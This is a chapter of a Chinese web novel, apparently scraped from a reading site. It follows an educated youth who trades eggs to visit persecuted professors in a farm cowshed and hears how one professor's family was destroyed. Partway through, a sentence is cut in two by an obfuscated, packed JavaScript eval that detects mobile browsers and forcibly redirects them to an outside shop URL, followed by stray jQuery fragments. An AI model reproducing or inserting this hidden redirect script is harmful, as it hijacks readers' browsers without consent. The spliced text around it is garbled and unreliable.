7. 第七章

作品:《成了花市热文里的炮灰他爸?

    第二天天还没亮,莫开就起来了,他拿出一块干净的布塞到怀里,准备包鸡蛋用。


    集体食堂早上不放饭,所以没什么人去食堂。


    莫开静悄悄地进了门,整个集体食堂里只有庄大嫂一个人。


    庄大嫂也没了那天的好态度,冷着脸翘着二郎腿。


    眼皮抬也不抬。


    面前的灶台上,摆着六个鸡蛋。


    呵——


    莫开差点笑出声。


    这么多?!!


    庄家人还挺......不亏待他们自己的呢。


    庄大嫂的声音不耐烦地响了起来。


    “这鸡蛋你昨天的工分可不够换,你一整个星期的工分才够,你知道吧?!”


    要不是觉得收鸡蛋收一个两个太寒酸,她才不可能一次性拿出这么多鸡蛋。


    这莫开也是沾了他们老庄家的光了!


    要是莫开知道庄大嫂在想什么,怕是要被庄大嫂笑哕了。


    庄家人......怎么能这么自信,又不要脸。


    因为送给他们的礼——至少他们是这么认为的,得到了通融,还要觉得是他沾他们的光。


    不会拿走他的东西还要觉得帮他使用了吧?


    “是,我知道,谢谢。”


    莫开声音感激又歉疚地掏出怀里的布,将鸡蛋全部收到了里面。


    庄大嫂刚想说你不用拿,我直接拿回家就行,就听到莫开小声嘟囔:“还不够,这些还不够赔罪,我还得买些别的,一起带过去......”


    庄大嫂把话咽了下去。


    “你要看人的话,买点糖和麦乳精什么的最好,还有肉,别的都拿不出手。”


    “我知道的,谢谢提醒。”莫开心里翻了个白眼,将鸡蛋全部收了起来,小心地揣到了怀里,转身就走。


    庄大嫂心道什么人啊,连句好听的话都不知道说,现在先向她说几句,她也不是不能帮忙在其他庄家人那边说句好话。


    莫开带着鸡蛋直接回了宿舍,等他放好鸡蛋,陈康几人才醒。


    “莫开,你去哪儿了?”宋玉丰迷迷糊糊。


    “撒尿。”


    莫开一整天的农活都干得很敷衍。


    但不重要。


    庄华高还是会给他记满工分,记少了可就相当于他们老庄家吃亏了。


    下午干完活,莫开早早地打了饭。


    “瓜瓜,一会儿爸爸要出门,你先待在家里,哪也别去。”


    “爸爸,你去哪儿呀,我也要去!”


    “瓜瓜听话,爸爸很快就回来了,如果有人问爸爸去哪儿了,瓜瓜就说爸爸去山上拾柴火去了,好不好?”


    “好吧。”虽然莫瓜瓜很想跟着去,他完全不想和爸爸分开,可爸爸说了,要听话。


    他是最听爸爸话的!


    “真乖。”莫开揉了揉瓜瓜的脑袋。


    他快速吃了几口,然后就揣着鸡蛋走了。


    一直走到村尾。


    村尾后面就是农场牛棚,关臭老九的地方。


    所以众人都嫌晦气,越往村尾,越没人。


    根本没几个人发现莫开过来。


    村尾路南的平房前面,站着一个身高腿长的背影。


    莫开眼一亮,连忙走了过去:“不好意思,我来晚了。”


    谢成缺脸色冷淡,他扫了一眼莫开鼓囊囊的胸口。


    “你带了东西?”


    “嗯,六个鸡蛋!”莫开笑着抬起脸,“毕竟空着手过去不太好。”


    “你哪里来的这么多鸡蛋?”


    “略施小计。”莫开挑眉,“怎么样?你不会后悔和我合作的,谢成缺同志。”


    莫开旖旎的眼角眸波流转,神采飞扬,生动的表情像个骄傲的小孔雀,谢成缺的眼神微微暗了下来。


    “六个鸡蛋太多了,没有必要。”


    他声音冷淡,似乎没有什么情绪。


    “但是送东西又不能单数,两个太少了,四个不好听。”


    “两个就行,不少了。”谢成缺扫了一眼莫开瘦削得一点肉都没有的身体,声音果决,“你拿四个回去,自己吃。”


    “可是......”


    “没有什么可是,两个鸡蛋已经价值两三天的工分。”


    “好吧。”莫开答应了,有点小开心。


    其实他不是没有私心,但是他深谙舍不得孩子套不着狼的道理,他和瓜瓜先委屈两天,以后顿顿都能吃鸡蛋和肉。


    这个态度,他得先拿出来。


    “把鸡蛋给我。”谢成缺将莫开的鸡蛋拿出两个,放到他带来的包裹里,然后将剩下四个用布包好,揣在了怀里。


    然后转身就走。


    莫开就这么乖乖地跟在谢成缺后面。


    走了大概十分钟,莫开远远地看到了几个搭起来的棚子,棚子前有七八个穿着破旧的黑灰色褂子的人在干活,头发都花白花白,佝偻着腰,看着都很苍老憔悴。


    仿佛被抽去了脊梁骨一样,没有任何精气神。


    莫开的心莫名一紧,有些难受。


    有个老头抬头倒水的时候,看到了两人,眼睛微微一亮。


    “哎,小谢来了,老家伙们,是......是小谢来了!”


    他这一吆喝,大部分人都抬起了头。


    苍老枯槁的脸上纷纷出现了难得的光彩,有人直接就快步小跑了过来。


    “小谢,有段时间没来了呀......”


    说着,她似乎又觉得说错了话,连忙道:“哎呀,不来好,这里你还是得少来。”


    “张奶奶,你这话说的,我可就不高兴了,你不想我是吧?”


    “哪能不想呢,但是......但是影响不好。”张文英拍了拍谢成缺的胳膊,脸颊深深地凹陷进去,眼睛有点红,“好孩子,别让我们拖累了你。”


    “哪里会拖累?”谢成缺说着,看了眼身后,“张奶奶,今天带来了一个朋友,一会儿我们要一起在这儿打扰你们了。”


    “张奶奶。”莫开跟着谢成缺喊了一声。


    几个老头老太太顿时都看了过来。


    “这是......?”


    “爷爷奶奶好,我叫莫开,莫言莫语的莫,开水的开,之前没打招呼,就跟着一起来了,不好意思。”


    莫开长得俊秀,气质温和干净,一下子就让几人喜欢起来了。


    “这是......知青吧?”


    “是,我是知青,爷爷您真厉害,一眼就看出来了。”莫开乖巧地说。


    “你看起来,就有文化,不过有文化现在也不是什么好事了。”那瘦长脸的老头叹了口气。


    “行了,这都什么时候了还说这些,别乱说话!”旁边一个方脸老头打了瘦长脸老头一下。


    “我说错了吗,你是教大学物理的,我是教历史的,老孙教高数,赵小妹教生物......这几个棚子里,没有一个是副教授,有什么用么?”


    瘦长脸老头叹着气,摇头。


    “只不过是被打的时候,更惨点罢了。”


    “老孙!!!”


    “行行,我不说就是了。”


    “快,都进来吧,别在外面站着,让人看见。”张文英奶奶脸色有点不好,但还是尽量笑着招呼着两人进来。


    几个棚子都不大,非常简陋寒酸,简直不是人住的,棚顶用木头树枝凌乱地搭建,好在又糊上了一层水泥似的东西,不然莫开怀疑下雨都得漏水。


    不过,都收拾得很干净。


    “今天下午我们休息半天,所以收拾了一下,还准备烧两个菜。”


    谢成缺看了一眼头顶:“张奶奶,这些天没有漏水吧?”


    “没有没有。”张文英摆手说,“你上次给我们补了后,到现在一直好好的呢。”


    “啊!啊——啊啊!!!”


    突然,一阵无比痛苦浑浊的嚎叫响起,夹杂着精神不正常的混乱呓语。


    “舒月,舒月,呜呜,呜呜.......爸爸错了,爸爸错了啊......孙成,孙成!我是罪人!我有罪!我有罪——社会主义万岁,无产阶级万岁!!!”


    莫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368217|199738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开心口突然一颤,莫名的酸涩染上了眼眶。


    这些声音,光是听着就好难受。


    莫开询问的眼神看向谢成缺,谢成缺将手里的袋子递给张文英奶奶。


    “张奶奶,一会儿我们俩得厚着脸皮吃你们一顿了,也。”


    张文英一看,急忙往谢成缺手里塞回去:“呀!怎么有肉,还有鸡蛋,这么金贵的东西你们自己吃就行了啊。”


    “那哪能行啊,我们两个大小伙子,得吃你们多少东西啊,张奶奶,你要是不接,我们就走了。”


    “你......你这孩子怎么就知道想尽办法给我们这些老家伙改善伙食。”张文英奶奶眼睛有点红。


    “好了,张奶奶,我带莫开去砍柴了啊,天快凉了,你们这没柴火不行。”谢成缺说着,看了莫开一眼。


    莫开直接跟上,完全没有意识到这个动作自然得有点离谱了。


    简直夫唱夫随。


    谢成缺带着莫开去棚子后头,那里有他之前送来的木头,不过还没来得及砍。


    他拿起木头最上面那一把特别大的斧头,看着莫开:“你不用砍,一会儿把我砍好的拾了,摞好就行。”


    “好,好的。”莫开没有逞能,他这身体的确太虚了,斧头都不一定能挥得起来,但是他还是忍不住靠近了过去,“谢成缺,刚刚那个声音是......是怎么回事,你知道么?”


    突然靠近过来的身体温热,柔软,谢成缺突然不受控制地想起那天的场景,那温热的呼气吹拂在他的下.腹,带着极尽温柔的轻抚。


    缓缓向下......


    他的心跳猛然加快,脊背微微僵滞。


    可脸色也黑了。


    “谢成缺?”


    “你靠这么近干什么!”


    莫开一抬头,见谢成缺脸色漆黑,眼神无比冰冷,心脏霍然“咯噔”一下,心情突然没了。


    行,谢成缺就讨厌他讨厌到这份上?


    他是什么垃圾吗?!


    至于这么反感他的靠近?


    他还以为,他们现在至少是半个朋友了,就算不是,也不至于这样。


    “行,对不起。”莫开也沉下了脸,一下子后退了两步,不再看谢成缺。


    谢成缺看着一下子和他隔了那么远的莫开,心里更不舒服了。


    他来不及细究为什么明明莫开如他愿走远了,他却更烦了,嘴里的话就说了出去。


    “那是赵世修教授。”


    莫开还气着呢,没有吭声。


    “赵世修教授,北城大学的文学院副院长,当年被打成反动,老婆死了,怀着孕的女儿流产了,疯了,他自己被绑在家里的床上,日夜折磨,那些人一直在他耳边放着收音机,不让他睡觉,最后......把他打断了双腿送到这里,到现在,他连他老婆埋在哪儿,女儿是死是活都不知道。”


    “!”莫开控制不住地张开了嘴,看向谢成缺。


    但他什么也说不出来。


    只有难受。


    过了一会儿,他听到他极其干涩的声音。


    “那赵教授他.......他也疯了吗?”


    “砰!”谢成缺举起斧子,砍向立起的木头。


    “当年把他打倒、带着人来抄他家的是他当年最得意也最疼爱的学生,那个学生上学的时候非常贫困,几乎每年的学费有一半是赵教授教的,并且为了给那学生改善伙食,赵教授每星期都带那学生回家吃饭,还用各种名义给他奖学金,实际上都是赵教授用他的工资悄悄补贴......”


    “那学生——”莫开简直不敢相信,怒火和难受烧在他心口上,呼啦啦得疼,他好难受。


    怎么能,怎么就能.......


    怎么就能用这么至诚的一颗心,养出这么恶毒的一条白眼狼呢?!


    “那学生的良心呢,赵教授对他那么好,他怎么能把赵教授害得家破人亡?!!!”


    “不,人家觉得那叫大义灭亲。”


    “什么?!”


    “那个学生,还是赵教授的女婿。”